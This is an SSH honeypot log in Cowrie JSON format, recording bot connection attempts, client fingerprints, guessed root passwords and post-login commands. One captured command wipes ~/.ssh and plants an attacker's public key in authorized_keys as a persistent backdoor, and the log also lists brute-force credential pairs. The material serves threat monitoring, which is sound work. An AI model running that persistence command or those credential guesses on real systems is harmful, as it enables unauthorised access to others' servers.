{"eventid":"cowrie.session.connect","src_ip":"223.83.114.88","src_port":39006,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3aa12e2b54d","protocol":"ssh","message":"New connection: 223.83.114.88:39006 (159.203.135.109:22) [session: d3aa12e2b54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:10:46.590681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:10:47.855015Z","src_ip":"223.83.114.88","session":"d3aa12e2b54d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":33526,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdfe51dc74af","protocol":"ssh","message":"New connection: 171.231.180.86:33526 (10.17.0.5:22) [session: cdfe51dc74af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:11:36.286960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:11:36.332595Z","src_ip":"171.231.180.86","session":"cdfe51dc74af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:11:36.544302Z","src_ip":"171.231.180.86","session":"cdfe51dc74af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:11:37.709488Z","src_ip":"171.231.180.86","session":"cdfe51dc74af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:11:38.968945Z","src_ip":"171.231.180.86","session":"cdfe51dc74af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":39412,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e02713533b1","protocol":"ssh","message":"New connection: 78.128.112.74:39412 (159.203.135.109:22) [session: 7e02713533b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:11:58.511060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:11:58.880665Z","src_ip":"78.128.112.74","session":"7e02713533b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:11:58.884445Z","src_ip":"78.128.112.74","session":"7e02713533b1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1111","message":"login attempt [root/1111] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:00.918796Z","src_ip":"78.128.112.74","session":"7e02713533b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:01.174481Z","src_ip":"78.128.112.74","session":"7e02713533b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:01.177723Z","src_ip":"78.128.112.74","session":"7e02713533b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:01.288108Z","src_ip":"78.128.112.74","session":"7e02713533b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:01.621009Z","src_ip":"78.128.112.74","session":"7e02713533b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":44786,"dst_ip":"159.203.135.109","dst_port":22,"session":"df0e8b9f5295","protocol":"ssh","message":"New connection: 102.211.152.138:44786 (159.203.135.109:22) [session: df0e8b9f5295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:34.812530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:34.816844Z","src_ip":"102.211.152.138","session":"df0e8b9f5295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:34.919525Z","src_ip":"102.211.152.138","session":"df0e8b9f5295","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123Qwe@@@","message":"login attempt [root/123Qwe@@@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:35.363524Z","src_ip":"102.211.152.138","session":"df0e8b9f5295","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:35.608282Z","src_ip":"102.211.152.138","session":"df0e8b9f5295","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:35.611608Z","src_ip":"102.211.152.138","session":"df0e8b9f5295","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:35.615016Z","src_ip":"102.211.152.138","session":"df0e8b9f5295","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:35.722010Z","src_ip":"102.211.152.138","session":"df0e8b9f5295","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:35.961263Z","src_ip":"102.211.152.138","session":"df0e8b9f5295","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:35.964544Z","src_ip":"102.211.152.138","session":"df0e8b9f5295","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:36.072508Z","src_ip":"102.211.152.138","session":"df0e8b9f5295","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:36.076591Z","src_ip":"102.211.152.138","session":"df0e8b9f5295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":44802,"dst_ip":"159.203.135.109","dst_port":22,"session":"d238623c7267","protocol":"ssh","message":"New connection: 102.211.152.138:44802 (159.203.135.109:22) [session: d238623c7267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:36.181510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:36.186157Z","src_ip":"102.211.152.138","session":"d238623c7267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:36.295197Z","src_ip":"102.211.152.138","session":"d238623c7267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:36.758069Z","src_ip":"102.211.152.138","session":"d238623c7267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:37.869680Z","src_ip":"102.211.152.138","session":"d238623c7267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":44810,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2f2c93d67ad","protocol":"ssh","message":"New connection: 102.211.152.138:44810 (159.203.135.109:22) [session: d2f2c93d67ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:37.973545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:37.978278Z","src_ip":"102.211.152.138","session":"d2f2c93d67ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:38.089437Z","src_ip":"102.211.152.138","session":"d2f2c93d67ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:38.552650Z","src_ip":"102.211.152.138","session":"d2f2c93d67ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:38.657940Z","src_ip":"102.211.152.138","session":"df0e8b9f5295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:38.662887Z","src_ip":"102.211.152.138","session":"d2f2c93d67ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:12:46.601501Z","src_ip":"223.83.114.88","session":"d3aa12e2b54d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":33812,"dst_ip":"10.17.0.5","dst_port":22,"session":"21942e9a4979","protocol":"ssh","message":"New connection: 171.231.180.86:33812 (10.17.0.5:22) [session: 21942e9a4979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:13:55.743724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:13:55.795369Z","src_ip":"171.231.180.86","session":"21942e9a4979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sh